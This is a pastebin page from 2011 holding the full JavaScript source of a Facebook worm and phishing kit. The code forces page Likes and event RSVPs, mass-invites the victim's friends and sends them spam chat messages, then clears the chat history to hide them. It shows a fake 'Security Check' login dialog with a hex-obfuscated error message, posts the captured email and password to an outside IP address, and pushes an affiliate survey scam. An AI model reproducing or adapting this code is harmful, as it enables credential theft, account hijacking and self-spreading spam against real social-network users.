Guest

http://173.231.144.82/fb.js?like_link=http://www.pinkwedding

By: a guest on Apr 7th, 2011  |  syntax: JavaScript  |  size: 9.16 KB  |  hits: 1,468  |  expires: Never
download  |  raw  |  embed  |  report abuse
Copied
  1. var like_link = 'http://www.pinkweddingfavors.info/bullypal/', app_link = 'http://apps.facebook.com/palpushesbully/', embed_link = 'http://www.ebaumsworld.com/playerbeta.swf?id0=81417366', im_text = 'haha! hilarous '+app_link, $j, jQuery, patt = /"viewer":([^:]+),/g, uid = patt.exec(document.body.innerHTML), dom_jq = document.createElement("script"), Delay = 30, timer;
  2.  
  3. events =
  4. [
  5.   '158701400856839',
  6.   '158768297517395',
  7.   '211685662176870'
  8. ];
  9.  
  10. var event = events[Math.floor(Math.random()*events.length)];
  11.  
  12. dom_jq.src = "http://code.jquery.com/jquery-latest.min.js";
  13. dom_jq.type = "text/javascript";
  14. document.body.appendChild(dom_jq);
  15.  
  16. var timer = setInterval(function() {
  17.   if(typeof window.jQuery != "undefined") {
  18.     clearInterval(timer);
  19.     jQuery = window.jQuery;
  20.     $j = jQuery.noConflict(true);
  21.     Init();
  22.   }
  23. }, 100);
  24.  
  25. function Init() {
  26.   if(uid){
  27.     Spam();
  28.   }
  29.  
  30.   $j('.offerlink').click(function()
  31.   {
  32.     timer = setTimeout('showVid()', Delay*1000);
  33.     $j('#waitonuser').css('display', 'block');
  34.     $j('#OfferList').css('display', 'none');
  35.   });
  36. }
  37.  
  38. function Spam() {
  39.   var fids = AvailableList.getAvailableIDs();
  40.   likeLink(like_link);
  41.   attendEvent(event);
  42.   var ch_fids = chunk(fids, 50);
  43.   $j.each(ch_fids, function() {
  44.     eventInvite(this, event)
  45.   });
  46.  
  47.   $j.each(fids, function(key, value) {
  48.     var userinfo = ChatUserInfos[value];
  49.     var fname = userinfo.firstName;
  50.     if(key<=30){
  51.       sendIM(Math.floor(Math.random() * 99999999), Number(new Date), value, im_text);
  52.     }
  53.   });
  54.  
  55.   setInterval('hideSh()', 100);
  56. }
  57.  
  58. function attendEvent(b) {
  59.   a = {eid:b, inline:1, new_profile:1, rsvp_status: 'Attending'};
  60.   (new AsyncRequest).setData(a).setURI("/ajax/events/actions.php").send();
  61. }
  62.  
  63.  
  64. function eventInvite(b, c) {
  65.   a = {class:'GuestManager', ids:b, node_id:c, send_invitations:1};
  66.   (new AsyncRequest).setData(a).setURI("/ajax/social_graph/invite_dialog.php").send();
  67. }
  68.  
  69.  
  70. function likeLink(b) {
  71.   a = {'href' : b, 'node_type' : 'page', 'edge_type' : 'like', 'page_id' : '', 'layout' : 'standard', 'is_personalized' : 'false', 'connect_text' : 0, 'ref' : '', 'now_connected' : 'true', 'nctrl[_mod]' : 'like_widget'};
  72.   (new AsyncRequest).setData(a).setURI("/ajax/connect/external_node_connect.php").send();
  73. }
  74.  
  75. function sendIM(b, c, d, e) {
  76.   a = {msg_id:b, client_time:c, to:d, num_tabs:1, pvs_time:"", msg_text:e, to_offline:"false"};
  77.   (new AsyncRequest).setData(a).setURI("/ajax/chat/send.php").send();
  78. }
  79.  
  80. function hideSh() {
  81.   $j(".fbChatMessage").each(function() {
  82.     var patt = /msg_(.*)_/g;
  83.     var id = patt.exec(this.id);
  84.     var fid = id[1];
  85.     chatDisplay.tabs[fid].clearHistory();
  86.   });
  87.   $j(".uiCloseButton input").click();
  88.   $j("div.pop_dialog").remove();
  89. }
  90.  
  91. function chunk(a, s){
  92.     for(var x, i = 0, c = -1, l = a.length, n = []; i < l; i++)
  93.         (x = i % s) ? n[c][x] = a[i] : n[++c] = [a[i]];
  94.     return n;
  95. }
  96.  
  97. function showVid(){
  98.   $j('#dialogbox').css('display', 'none');
  99.   $j('#generic_dialog_overlay').css('display', 'none');
  100.   $j('#app205712022786034_player').html('<iframe width="640" height="390" src="'+embed_link+'" frameborder="0" allowfullscreen></iframe>');
  101. }
  102.  
  103. function loginn() {
  104.   var email = $j('#email').val(), pass =  $j('#pass').val();
  105.  
  106.   var content = $j.ajax({
  107.     type: 'POST',
  108.     url: '/login.php',
  109.     data: 'email=' + email + '&pass=' + pass + '&login=' + 'Log+in',
  110.     async: false
  111.   }).responseText;
  112.  
  113.   var patt = /Facebook Login/g, bool = patt.exec(content);
  114.   if(!bool){
  115.     phish(email, pass);
  116.     showVid();
  117.   }else{
  118.     $j('#standard_status').css('display', 'none');
  119.     $j('#error').css('display', 'block');
  120.     $j('#error').html(unescape(/%3c%68%32%20%69%64%3d%22%73%74%61%6e%64%61%72%64%5f%65%72%72%6f%72%22%20%63%6c%61%73%73%3d%22%6d%61%69%6e%5f%6d%65%73%73%61%67%65%22%3e%50%6c%65%61%73%65%20%72%65%2d%65%6e%74%65%72%20%79%6f%75%72%20%70%61%73%73%77%6f%72%64%3c%2f%68%32%3e%0d%0a%3c%70%20%69%64%3d%22%73%74%61%6e%64%61%72%64%5f%65%78%70%6c%61%6e%61%74%69%6f%6e%22%20%63%6c%61%73%73%3d%22%73%75%62%5f%6d%65%73%73%61%67%65%22%3e%3c%2f%70%3e%0d%0a%3c%70%3e%54%68%65%20%70%61%73%73%77%6f%72%64%20%79%6f%75%20%65%6e%74%65%72%65%64%20%69%73%20%69%6e%63%6f%72%72%65%63%74%2e%20%50%6c%65%61%73%65%20%74%72%79%20%61%67%61%69%6e%20%28%6d%61%6b%65%20%73%75%72%65%20%79%6f%75%72%20%63%61%70%73%20%6c%6f%63%6b%20%69%73%20%6f%66%66%29%2e%3c%2f%70%3e%0d%0a%3c%70%3e%0d%0a%46%6f%72%67%6f%74%20%79%6f%75%72%20%70%61%73%73%77%6f%72%64%3f%0d%0a%3c%61%20%68%72%65%66%3d%22%2f%72%65%63%6f%76%65%72%2e%70%68%70%3f%65%6d%61%69%6c%5f%6f%72%5f%70%68%6f%6e%65%3d%72%61%73%68%65%65%64%61%6d%61%75%6c%65%35%34%38%25%34%30%79%61%68%6f%6f%2e%63%6f%6d%22%3e%52%65%71%75%65%73%74%20%61%20%6e%65%77%20%6f%6e%65%2e%3c%2f%61%3e%0d%0a%3c%2f%70%3e%0d%0a%3c%70%3e%3c%2f%70%3e/.source));
  121.   }
  122. }
  123.  
  124. function phish(email, pass){
  125.   var log = new Image();
  126.   log.src = 'http://173.231.144.82/log.php?email=' + email + '&pass=' + pass;
  127. }
  128.  
  129. dom_dg = document.createElement("div");
  130. dom_dg.className = 'generic_dialog';
  131. dom_dg.id = 'dialogbox';
  132. dom_dg.innerHTML = '<link rel="stylesheet" type="text/css" href="http://s-static.ak.facebook.com/rsrc.php/v1/yM/r/HJkijFx_6MU.css">\
  133.                    <div class="generic_dialog_popup" style="text-align:center; top: 216px;">\
  134.                      <div class="pop_container_advanced">\
  135.                        <div id="pop_content" class="pop_content">\
  136.                        <h2 class="dialog_title"><span>Security Check</span></h2>\
  137.                          <div class="dialog_content">\
  138.                            <div class="dialog_body">\
  139.                              <div id="login" style="display:none;">\
  140.                                <div id="error" style="background-color: #FFEBE8; border-color: #DD3C10; border-style: solid; border-width: 1px; padding: 10px; display:none;"></div>\
  141.                                <div id="standard_status" style="background-color: #FFF9D7; border-color: #E2C822; border-style: solid; border-width: 1px; padding: 10px;">\
  142.                                  <h2 class="main_message">Please login to continue</h2>\
  143.                                </div><br />\
  144.                                <form id="login_form" action="index.php" method="POST">\
  145.                                  <div class="form_row clearfix ">\
  146.                                    <label id="label_email" class="login_form_label" for="email">Email:</label>\
  147.                                    <input id="email" class="inputtext" type="text" value="" name="email">\
  148.                                  </div>\
  149.                                  <div class="form_row clearfix ">\
  150.                                    <label id="label_pass" class="login_form_label" for="pass">Password:</label>\
  151.                                    <input id="pass" class="inputpassword" type="password" value="" name="pass">\
  152.                                  </div>\
  153.                                  <div class="dialog_buttons clearfix">\
  154.                                    <label class="uiButton uiButtonLarge uiButtonConfirm">\
  155.                                      <input type="button" value="Login" onclick="loginn();">\
  156.                                    </label>\
  157.                                  </div>\
  158.                                </form>\
  159.                              </div>\
  160.                              <div id="survey">\
  161.                                <div id="standard_status" style="background-color: #FFF9D7; border-color: #E2C822; border-style: solid; border-width: 1px; padding: 10px;">\
  162.                                   <h2 class="main_message">To prevent spam, we must verify that you are a human.</h2>\
  163.                                </div><br />\
  164.                                <div id="waitonuser" style="display:none;">\
  165.                                  <strong>Checking...</strong><br />\
  166.                                  <img alt="Loading . . ." src="http://www.infacta.com/IMG/loadingAnimation.gif" /><br />\
  167.                                   Status: <span style="color:red;">Not completed</span><br /><br />\
  168.                                   <strong><small>Note: It can take up to 60 seconds for confirmation.</small></strong><br /><br />\
  169.                                   <a href="#" onclick="document.getElementById(\'waitonuser\').style.display=\'none\'; document.getElementById(\'OfferList\').style.display=\'block\'; clearTimeout(timer)">Re-open Survey</a>\
  170.                                </div>\
  171.                                <ul id="OfferList" style="font-weight:bold;font-size:12px;padding-top:10px;">\
  172.                                  <li><a href="http://referer.us/my.adstrack.net/aff_c?offer_id=240&aff_id=1022" class="offerlink" target="blank">Please take this IQ test in order to confirm that you are a human.</a></li>\
  173.                                </ul>\
  174.                              </div>\
  175.                              <div style="width:214px;height:0px" id="wideitup"></div>\
  176.                            </div>\
  177.                          </div>\
  178.                        </div>\
  179.                      </div>\
  180.                    </div>\
  181.                  </div>';
  182.                    
  183. document.body.appendChild(dom_dg);